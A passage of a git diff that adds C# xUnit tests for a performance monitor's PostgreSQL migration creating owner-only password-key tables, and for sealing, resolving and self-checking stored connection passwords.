+        /* The rung that creates the candidate table is V167, and both texts say so. */
+        Assert.Contains("V167", block, StringComparison.Ordinal);
+        Assert.Contains("V167 adds the legacy pin candidate table", Managed, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EachBlock_ComesAfterTheLastSchemaWideConfigGrant_AndNoOtherGrantFollowsItInItsSection()
+    {
+        foreach (var (text, sectionEnd) in new[] { (Managed, "-- 11. Role memberships"), (Script, "-- 4. Default privileges") })
+        {
+            var revoke = Lines(text).Revoke;
+            var schemaWide = Regex.Matches(text, @"(GRANT|REVOKE)\b[^;]*\bIN SCHEMA (\{config\}|config\b)[^;]*;")
+                .Where(m => !m.Value.Contains("DEFAULT PRIVILEGES", StringComparison.Ordinal))
+                .Select(m => m.Index)
+                .ToList();
+            Assert.NotEmpty(schemaWide);
+            Assert.True(schemaWide.Max() < revoke, "a schema-wide grant on config comes after the key tables' REVOKE");
+
+            var rest = text[revoke..text.IndexOf(sectionEnd, revoke, StringComparison.Ordinal)];
+            Assert.Single(Regex.Matches(rest, @"(?m)^\s*GRANT\b[^;]*;"));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/PasswordKeyRungTests.cs b/Darling/Darling.Tests/PasswordKeyRungTests.cs
new file mode 100644
index 0000000000..cae8901e83
--- /dev/null
+++ b/Darling/Darling.Tests/PasswordKeyRungTests.cs
@@ -0,0 +1,251 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that adds the tables for the service's published password key (V165, #5366): the rung's place
+/// in the ladder (always the NEWEST rung, written as <c>Scripts[^1]</c> so the next rung needs no edit here), the shape of
+/// its script, and the schema-version probe's newest sentinel. The live fact mints its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PasswordKeyRungTests
+{
+    public const string RungName = "password-key";
+
+    private const int ProbeOrdinal = 140;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    private static string Statements() =>
+        Regex.Replace(Rung.Sql, @"/\*.*?\*/", " ", RegexOptions.Singleline).Replace("\r\n", "\n", StringComparison.Ordinal);
+
+    [Fact]
+    public void TheRungIsRegisteredOnce_InADenseLadder_AtTheVersionTheTablesNameItself()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        Assert.Equal(PasswordKeyTables.RungVersion, Rung.Version);
+        Assert.Single(PgMigrations.Scripts, m => m.Name == RungName);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+        Assert.Equal(PasswordKeyTables.CreateSql, Rung.Sql);
+    }
+
+    [Fact]
+    public void TheTablesAreSchemaQualified_AndEveryCreateIsGuarded()
+    {
+        var sql = Statements();
+
+        foreach (var match in Regex.Matches(sql, @"(?:CREATE TABLE IF NOT EXISTS|INSERT INTO)\s+(\S+)").Cast<Match>())
+        {
+            Assert.Matches(@"^config\.", match.Groups[1].Value);
+        }
+
+        foreach (var create in Regex.Matches(sql, @"CREATE\s+(?:UNIQUE\s+)?(TABLE|INDEX)\s+(?!IF NOT EXISTS)", RegexOptions.IgnoreCase).Cast<Match>())
+        {
+            Assert.Fail("an unguarded CREATE: " + create.Value);
+        }
+
+        Assert.Equal(4, Regex.Matches(sql, @"CREATE TABLE IF NOT EXISTS config\.(password_key|password_key_service|legacy_secret_pin|legacy_secret_pin_marker)\b").Count);
+        Assert.Contains("CREATE UNIQUE INDEX IF NOT EXISTS ux_password_key_current ON config.password_key ((true)) WHERE state = 'current';", sql, StringComparison.Ordinal);
+
+        /* The marker row is the only data: one VALUES row into the table this rung creates, kept on a re-run. */
+        Assert.Single(Regex.Matches(sql, @"INSERT\s+INTO", RegexOptions.IgnoreCase));
+        Assert.Contains("INSERT INTO config.legacy_secret_pin_marker (id, state)\nVALUES (1, 'pending')\nON CONFLICT (id) DO NOTHING;", sql, StringComparison.Ordinal);
+
+        /* No statement of the rung starts with one of these: the rung creates and seeds, and moves no data. */
+        foreach (var verb in new[] { "UPDATE", "DELETE", "GRANT", "TRUNCATE" })
+        {
+            Assert.DoesNotMatch(@"(?m)^\s*" + verb + @"\b", sql);
+        }
+
+        /* The only ALTER and DROP statements are the trigger ones (enable it always; drop it before it is created again) and
+           the row-security switch on the two pin tables, which carries no policy. */
+        foreach (var line in sql.Split('\n').Select(l => l.Trim()).Where(l => l.StartsWith("ALTER", StringComparison.Ordinal) || l.StartsWith("DROP", StringComparison.Ordinal)))
+        {
+            Assert.Matches(@"^(ALTER TABLE config\.\w+ ENABLE ALWAYS TRIGGER \w+|ALTER TABLE config\.legacy_secret_pin(_marker)? ENABLE ROW LEVEL SECURITY|DROP TRIGGER IF EXISTS \w+ ON config\.\w+);$", line);
+        }
+    }
+
+    [Fact]
+    public void TheOwnerOnlyFunction_QualifiesEveryCatalogName_KeepsPgTempLast_AndIsNotGrantedToPublic()
+    {
+        var sql = Statements();
+        var start = sql.IndexOf("CREATE OR REPLACE FUNCTION config.password_key_owner_only()", StringComparison.Ordinal);
+        var end = sql.IndexOf("$fn$;", start + 1, StringComparison.Ordinal);
+        Assert.True(start >= 0 && end > start, "the owner-only function is missing");
+        var function = sql[start..end];
+
+        Assert.Contains("SET search_path = pg_catalog, pg_temp", function, StringComparison.Ordinal);
+        Assert.DoesNotContain("SECURITY DEFINER", function, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("pg_catalog.pg_has_role(", function, StringComparison.Ordinal);
+        /* A NULL answer (a session user whose membership cannot be told) refuses too: the test is IS NOT TRUE, never NOT. */
+        Assert.Contains("'USAGE') IS NOT TRUE THEN", function, StringComparison.Ordinal);
+        Assert.DoesNotContain("IF NOT pg_catalog.pg_has_role", function, StringComparison.Ordinal);
+        Assert.Contains("session_user", function, StringComparison.Ordinal);
+        Assert.DoesNotContain("current_user", function, StringComparison.Ordinal);
+        Assert.Contains("'USAGE'", function, StringComparison.Ordinal);
+        Assert.Contains("ERRCODE = 'PW010'", function, StringComparison.Ordinal);
+        Assert.Equal(PasswordKeyTables.OwnerOnlySqlState, "PW010");
+        Assert.Contains("Only the store owner can change the password key tables.", function, StringComparison.Ordinal);
+
+        /* Every catalog relation the function names is schema-qualified: a bare pg_ name after FROM or JOIN would be found in
+           the session's temporary schema first. */
+        Assert.DoesNotMatch(@"(?:FROM|JOIN)\s+pg_(?!catalog\.)", function);
+        Assert.Contains("FROM pg_catalog.pg_class AS c", function, StringComparison.Ordinal);
+
+        Assert.Contains("REVOKE ALL ON FUNCTION config.password_key_owner_only() FROM PUBLIC;", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EachOfTheFourTables_HasARowTriggerAndATruncateTrigger_OnTheOwnerOnlyFunction()
+    {
+        var sql = Statements();
+        foreach (var table in new[] { "password_key", "password_key_service", "legacy_secret_pin", "legacy_secret_pin_marker" })
+        {
+            Assert.Contains($"DROP TRIGGER IF EXISTS trg_{table}_owner_only_row ON config.{table};\nCREATE TRIGGER trg_{table}_owner_only_row\n    BEFORE INSERT OR UPDATE OR DELETE ON config.{table}\n    FOR EACH ROW EXECUTE FUNCTION config.password_key_owner_only();", sql, StringComparison.Ordinal);
+            Assert.Contains($"DROP TRIGGER IF EXISTS trg_{table}_owner_only_truncate ON config.{table};\nCREATE TRIGGER trg_{table}_owner_only_truncate\n    BEFORE TRUNCATE ON config.{table}\n    FOR EACH STATEMENT EXECUTE FUNCTION config.password_key_owner_only();", sql, StringComparison.Ordinal);
+            /* Enabled always, so a session_replication_role of replica does not skip them. */
+            Assert.Contains($"ALTER TABLE config.{table} ENABLE ALWAYS TRIGGER trg_{table}_owner_only_row;", sql, StringComparison.Ordinal);
+            Assert.Contains($"ALTER TABLE config.{table} ENABLE ALWAYS TRIGGER trg_{table}_owner_only_truncate;", sql, StringComparison.Ordinal);
+        }
+
+        Assert.Equal(8, Regex.Matches(sql, @"(?m)^CREATE TRIGGER ").Count);
+        Assert.Equal(8, Regex.Matches(sql, @"(?m)^DROP TRIGGER IF EXISTS ").Count);
+        Assert.Equal(8, Regex.Matches(sql, @"ENABLE ALWAYS TRIGGER").Count);
+        Assert.DoesNotContain("CREATE OR REPLACE TRIGGER", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ThePasswordKeyTable_CarriesTheAlgorithmSizeAndReplacedColumnChecks()
+    {
+        var sql = Statements();
+        Assert.Contains("CONSTRAINT ck_password_key_algorithm CHECK (algorithm IN ('RSA3072-OAEP-SHA256/A256GCM'))", sql, StringComparison.Ordinal);
+        Assert.Contains("CONSTRAINT ck_password_key_public_key_size CHECK (octet_length(public_key) BETWEEN 256 AND 2048)", sql, StringComparison.Ordinal);
+        Assert.Contains("(state = 'current' AND replaced_reason IS NULL AND replaced_at IS NULL)", sql, StringComparison.Ordinal);
+        Assert.Contains("OR (state = 'replaced' AND replaced_reason IS NOT NULL AND replaced_at IS NOT NULL)", sql, StringComparison.Ordinal);
+        Assert.Contains("CONSTRAINT ck_password_key_id_matches_key CHECK (key_id = left(encode(sha256(public_key), 'hex'), 16))", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheTwoPinTables_HaveRowSecurityOn_WithNoPolicy()
+    {
+        var sql = Statements();
+        Assert.Contains("ALTER TABLE config.legacy_secret_pin ENABLE ROW LEVEL SECURITY;", sql, StringComparison.Ordinal);
+        Assert.Contains("ALTER TABLE config.legacy_secret_pin_marker ENABLE ROW LEVEL SECURITY;", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("CREATE POLICY", sql, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void TheProbeCarriesTheKeyTable_AndAStoreThatStoppedHereMapsToThisRung()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = "to_regclass('config.password_key') IS NOT NULL";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+
+        /* No longer the probe's last EXISTS: V166 (the PagerDuty auto-resolve column) landed above it. */
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal + 1})", viewer, StringComparison.Ordinal);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var parameters = method.GetParameters();
+        Assert.True(ProbeOrdinal < parameters.Length - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasPasswordKey", parameters[ProbeOrdinal].Name);
+
+        var all = Enumerable.Repeat((object)true, parameters.Length).ToArray();
+        Assert.Equal(PgMigrations.Scripts[^1].Version, (int)method.Invoke(null, all)!);
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var atThisRung = Enumerable.Range(0, parameters.Length).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(Rung.Version, (int)method.Invoke(null, atThisRung)!);
+
+        var behind = (object[])atThisRung.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(Rung.Version - 1, (int)method.Invoke(null, behind)!);
+
+        var thisArm = viewer.IndexOf("if (hasPasswordKey)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasQueryStatsHourLedger)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0 && thisArm < previousArm, "this arm sits above the previous rung's");
+        Assert.Contains($"return {Rung.Version};", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        var armProseStart = viewer.LastIndexOf("/* V165 (#5366)", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        Assert.DoesNotContain("password_key", viewer[armProseStart..thisArm], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task MigratingAFreshStore_CreatesTheTables_LeavesOnePendingMarker_AndRerunningChangesNothing()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key rung's live pin (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(5L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname = 'config' AND c.relkind = 'r' AND c.relname IN ('password_key','password_key_service','legacy_secret_pin','legacy_secret_pin_marker','legacy_secret_pin_candidate')", ct));
+            Assert.Equal(10L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_trigger t JOIN pg_proc p ON p.oid = t.tgfoid WHERE NOT t.tgisinternal AND p.proname = 'password_key_owner_only'", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_marker WHERE id = 1 AND state = 'pending'", ct));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_marker", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config.password_key", ct));
+
+            /* The function is not executable by PUBLIC. */
+            Assert.Equal(false, await ScalarAsync(connection,
+                "SELECT has_function_privilege('public', 'config.password_key_owner_only()', 'EXECUTE')", ct));
+
+            /* A re-run (the rung applied again) keeps the marker row exactly as it was. */
+            await ExecAsync(connection, "UPDATE config.legacy_secret_pin_marker SET state = 'done', changed_at = '2026-01-05 10:00:00'", ct);
+            await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= " + PasswordKeyTables.RungVersion, ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_marker WHERE id = 1 AND state = 'done' AND changed_at = '2026-01-05 10:00:00'", ct));
+            Assert.Equal(10L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_trigger t JOIN pg_proc p ON p.oid = t.tgfoid WHERE NOT t.tgisinternal AND p.proname = 'password_key_owner_only'", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/PasswordKeySeamLiveTests.cs b/Darling/Darling.Tests/PasswordKeySeamLiveTests.cs
new file mode 100644
index 0000000000..58d679b208
--- /dev/null
+++ b/Darling/Darling.Tests/PasswordKeySeamLiveTests.cs
@@ -0,0 +1,204 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: every fact here mints its own scratch database through ScratchPostgres, runs the service's key start
+   against it as the store owner, and never touches another test's rows, so the class is deliberately NOT
+   [Collection("live-postgres")]. */
+
+/// <summary>
+/// End to end through the seams between the pieces of the password key (#5366), each tested alone elsewhere: the Viewer's
+/// sealer seals to the key the service published, the row is written, the service's store read maps it, and the resolver
+/// opens it; and a legacy value pinned by the key start opens, then is refused once the owner changes the row's host.
+/// </summary>
+public sealed class PasswordKeySeamLiveTests
+{
+    private const string FakePassword = "p@ss-not-real";
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string InsertServer = @"
+INSERT INTO config.config_monitored_servers
+    (server_id, name, host, database, engine, port, read_only_intent, auth, username, encrypt_mode, trust_server_certificate,
+     multi_subnet_failover, encrypted_password)
+VALUES (@id, @name, 'alpha-example', 'example_db', 'sqlserver', 1433, FALSE, 'sql', 'monitor_login', 'Mandatory', FALSE, FALSE, @stored);";
+
+    [Fact]
+    public async Task ASealedValueFromTheViewerPath_IsReadByTheStoreRead_AndOpenedByTheResolver_ForItsOwnConnectionOnly()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key seam pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        var directory = Directory.CreateTempSubdirectory("pmkey-seam-").FullName;
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+            await owner.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(owner, ct);
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            // The service starts: it makes a key and publishes the public half.
+            IPasswordKeyRing? ring = null;
+            var runtime = await DarlingPasswordKeyRuntime.StartAsync(
+                directory, source, new CapturingTestLogger(), ct,
+                new PasswordKeyStartOptions { IsWindows = false, SetRing = r => ring = r, ServiceHost = "example-host" });
+            Assert.Equal("ok", runtime.State);
+            Assert.NotNull(ring);
+
+            // The Viewer reads the published key and seals the password for the row it is about to save.
+            PublishedPasswordKey? published;
+            await using (var read = await source.OpenConnectionAsync(ct))
+            {
+                published = await PasswordKeyTables.ReadCurrentAsync(read, ct);
+            }
+
+            Assert.NotNull(published);
+            var sealer = new ViewerPasswordSealer(PasswordPublicKey.FromSpki(published.Spki));
+            var row = new MonitoredServerRow
+            {
+                Host = "alpha-example", Database = "example_db", Engine = "sqlserver", Port = 1433, Auth = "sql",
+                Username = "monitor_login", EncryptMode = "Mandatory",
+            };
+            var stored = sealer.Seal(FakePassword, row);
+            Assert.StartsWith("sealed:v1:" + published.KeyId + ":", stored, StringComparison.Ordinal);
+            Assert.DoesNotContain(FakePassword, stored, StringComparison.Ordinal);
+
+            await ExecAsync(source, InsertServer, ct, ("id", 1), ("name", "alpha-example"), ("stored", stored));
+
+            // The service's store read maps the row, and the resolver opens the value with the service's ring.
+            var server = await LoadOnlyServerAsync(source, ct);
+            Assert.Equal(stored, server.EncryptedPassword);
+            Assert.Equal(FakePassword, DarlingSecrets.ResolvePassword(server, out var usedPlaintext, ring!, new LegacyDpapi(false, NoDpapi)));
+            Assert.False(usedPlaintext);
+
+            // The same text under another connection setting is refused, and so is a different host after a later edit.
+            await ExecAsync(source, "UPDATE config.config_monitored_servers SET host = 'beta-example' WHERE server_id = 1;", ct);
+            var moved = await LoadOnlyServerAsync(source, ct);
+            var refused = Assert.Throws<InvalidOperationException>(
+                () => DarlingSecrets.ResolvePassword(moved, out _, ring!, new LegacyDpapi(false, NoDpapi)));
+            Assert.DoesNotContain(FakePassword, refused.Message, StringComparison.Ordinal);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+            TryDeleteDirectory(directory);
+        }
+    }
+
+    [Fact]
+    public async Task ALegacyValuePinnedByTheKeyStart_Opens_AndIsRefusedAfterTheOwnerChangesItsHost()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the password key seam pins (each mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        var directory = Directory.CreateTempSubdirectory("pmkey-seam-").FullName;
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+            await owner.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(owner, ct);
+            await using var source = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            // A value saved before the upgrade, in the old format.
+            await ExecAsync(source, InsertServer, ct, ("id", 1), ("name", "alpha-example"), ("stored", "legacy-server-blob"));
+
+            // The upgrade records the old-format values that are in the store; only those can be pinned.
+            await ExecAsync(source, LegacyPinCandidateTables.CaptureSql, ct);
+
+            var opened = 0;
+            string Unprotect(string text)
+            {
+                opened++;
+                return text == "legacy-server-blob" ? FakePassword : throw new System.Security.Cryptography.CryptographicException("not a saved value");
+            }
+
+            bool CanOpen(string text)
+            {
+                opened++;
+                return text == "legacy-server-blob" ? true : throw new System.Security.Cryptography.CryptographicException("not a saved value");
+            }
+
+            // The first start on Windows pins the value to its row and connection.
+            IPasswordKeyRing? ring = null;
+            await DarlingPasswordKeyRuntime.StartAsync(
+                directory, source, new CapturingTestLogger(), ct,
+                new PasswordKeyStartOptions { IsWindows = true, CanOpen = CanOpen, SetRing = r => ring = r, ServiceHost = "example-host" });
+            var openedByTheStart = opened;
+            Assert.True(openedByTheStart > 0, "the start did not open the old value to pin it");
+
+            var dpapi = new LegacyDpapi(true, Unprotect);
+            var server = await LoadOnlyServerAsync(source, ct);
+            Assert.NotNull(server.SecretPin);
+            Assert.Equal(FakePassword, DarlingSecrets.ResolvePassword(server, out _, ring!, dpapi));
+
+            // The owner changes the host: the pin no longer matches, so the old value is refused before it is opened.
+            await ExecAsync(source, "UPDATE config.config_monitored_servers SET host = 'beta-example' WHERE server_id = 1;", ct);
+            var moved = await LoadOnlyServerAsync(source, ct);
+            var openedBeforeRefusal = opened;
+            var refused = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(moved, out _, ring!, dpapi));
+            Assert.DoesNotContain(FakePassword, refused.Message, StringComparison.Ordinal);
+            Assert.Equal(openedBeforeRefusal, opened);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+            TryDeleteDirectory(directory);
+        }
+    }
+
+    private static string NoDpapi(string text) => throw new InvalidOperationException("The old format must not be opened here.");
+
+    private static async Task<MonitoredServer> LoadOnlyServerAsync(NpgsqlDataSource source, System.Threading.CancellationToken ct)
+    {
+        var view = await new StoreConfigProvider(source).LoadViewAsync(new DarlingConfig(), ct);
+        Assert.NotNull(view);
+        return view.EnabledServers.Single();
+    }
+
+    private static async Task ExecAsync(
+        NpgsqlDataSource source, string sql, System.Threading.CancellationToken ct, params (string Name, object Value)[] parameters)
+    {
+        await using var c = await source.OpenConnectionAsync(ct);
+        await using var command = new NpgsqlCommand(sql, c);
+        foreach (var (name, value) in parameters)
+        {
+            command.Parameters.AddWithValue(name, value);
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static void TryDeleteDirectory(string directory)
+    {
+        try
+        {
+            Directory.Delete(directory, recursive: true);
+        }
+        catch (IOException)
+        {
+        }
+        catch (UnauthorizedAccessException)
+        {
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/PasswordKeySelfCheckTests.cs b/Darling/Darling.Tests/PasswordKeySelfCheckTests.cs
new file mode 100644
index 0000000000..d3bb2c58c1
--- /dev/null
+++ b/Darling/Darling.Tests/PasswordKeySelfCheckTests.cs
@@ -0,0 +1,193 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5366: the hidden <c>--self-check-password-key</c> verb. The Unix file checks (owner, link count, file identity) run only
+/// on Linux, in the Linux build job, so what is pinned here is what can be checked on any platform: the verb is reachable
+/// and stays out of the usage text, the sealed-value check opens the committed vector and fails closed on a changed
+/// vector, and the workflow step runs the verb from the built image with the vector mounted read-only.
+/// </summary>
+public sealed class PasswordKeySelfCheckTests : IDisposable
+{
+    private static readonly string VectorPath =
+        PathTo("Darling", "Darling.Tests", "Fixtures", "PasswordSeal", "linux-self-check-vector.json");
+
+    private readonly string _scratch = Directory.CreateTempSubdirectory("password-key-self-check-test-").FullName;
+
+    public void Dispose()
+    {
+        try
+        {
+            Directory.Delete(_scratch, recursive: true);
+        }
+        catch (IOException)
+        {
+            /* A leftover temporary directory changes nothing the tests found. */
+        }
+    }
+
+    [Theory]
+    [InlineData("--self-check-password-key", true)]
+    [InlineData("--SELF-CHECK-PASSWORD-KEY", true)]
+    [InlineData("--self-check-password", false)]
+    [InlineData("--self-check", false)]
+    [InlineData("--reset-password-key", false)]
+    public void The_verb_is_recognized_case_insensitively(string arg, bool expected) =>
+        Assert.Equal(expected, DarlingCliCommands.IsSelfCheckPasswordKeyVerb(arg));
+
+    [Fact]
+    public void The_startup_classifier_lets_the_verb_through_and_the_usage_text_does_not_list_it()
+    {
+        Assert.True(DarlingCliCommands.IsKnownVerb("--self-check-password-key"));
+        Assert.Equal(StartupAction.RunKnownVerb, DarlingCliCommands.ClassifyStartupArgs(new[] { "--self-check-password-key", "x" }));
+        Assert.DoesNotContain("self-check", DarlingCliCommands.UsageText(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Program_dispatches_the_verb_to_the_self_check()
+    {
+        var program = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Program.cs");
+        Assert.Contains("IsSelfCheckPasswordKeyVerb(args[0])", program, StringComparison.Ordinal);
+        Assert.Contains("DarlingPasswordKeySelfCheck.Run(args[1..], Console.Out, Console.Error)", program, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void The_committed_vector_opens_to_its_plaintext()
+    {
+        Assert.Null(DarlingPasswordKeySelfCheck.CheckVector(VectorPath));
+    }
+
+    [Fact]
+    public void The_committed_vector_is_labelled_a_test_vector_and_holds_no_pem_text()
+    {
+        var text = File.ReadAllText(VectorPath);
+        Assert.Contains("TEST VECTOR ONLY", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("-----BEGIN", text, StringComparison.Ordinal);
+        Assert.Contains("testOnlyPrivateKeyPkcs8Base64", text, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("label")]
+    [InlineData("purpose")]
+    [InlineData("plaintext")]
+    [InlineData("sealed")]
+    [InlineData("testOnlyPrivateKeyPkcs8Base64")]
+    [InlineData("binding")]
+    public void A_vector_missing_a_field_fails(string field)
+    {
+        var vector = Vector();
+        vector.Remove(field);
+        Assert.NotNull(DarlingPasswordKeySelfCheck.CheckVector(Write(vector)));
+    }
+
+    [Fact]
+    public void A_vector_whose_plaintext_differs_fails()
+    {
+        var vector = Vector();
+        vector["plaintext"] = "another-fake-value";
+        Assert.NotNull(DarlingPasswordKeySelfCheck.CheckVector(Write(vector)));
+    }
+
+    [Theory]
+    [InlineData("host", "example-other-host")]
+    [InlineData("username", "other_login")]
+    [InlineData("database", "other_db")]
+    public void A_vector_whose_binding_differs_fails(string field, string value)
+    {
+        var vector = Vector();
+        vector["binding"]![field] = value;
+        Assert.NotNull(DarlingPasswordKeySelfCheck.CheckVector(Write(vector)));
+    }
+
+    [Fact]
+    public void A_vector_whose_key_is_another_key_fails()
+    {
+        var vector = Vector();
+        using var other = PerformanceMonitor.Darling.Storage.PasswordPrivateKey.Generate();
+        vector["testOnlyPrivateKeyPkcs8Base64"] = Convert.ToBase64String(other.ExportPkcs8());
+        Assert.NotNull(DarlingPasswordKeySelfCheck.CheckVector(Write(vector)));
+    }
+
+    [Fact]
+    public void A_vector_without_the_test_label_fails()
+    {
+        var vector = Vector();
+        vector["label"] = "a sealed value";
+        Assert.NotNull(DarlingPasswordKeySelfCheck.CheckVector(Write(vector)));
+    }
+
+    [Fact]
+    public void A_missing_vector_file_fails()
+    {
+        Assert.NotNull(DarlingPasswordKeySelfCheck.CheckVector(Path.Combine(_scratch, "no-such-file.json")));
+    }
+
+    [Fact]
+    public void Run_with_no_path_or_two_paths_exits_non_zero()
+    {
+        using var output = new StringWriter();
+        using var error = new StringWriter();
+        Assert.Equal(1, DarlingPasswordKeySelfCheck.Run(Array.Empty<string>(), output, error));
+        Assert.Equal(1, DarlingPasswordKeySelfCheck.Run(new[] { VectorPath, "extra" }, output, error));
+        Assert.Contains("Usage:", error.ToString(), StringComparison.Ordinal);
+    }
+
+    /// <summary>The Unix file checks cannot run on Windows, and the verb says so and exits non-zero rather than passing.</summary>
+    [Fact]
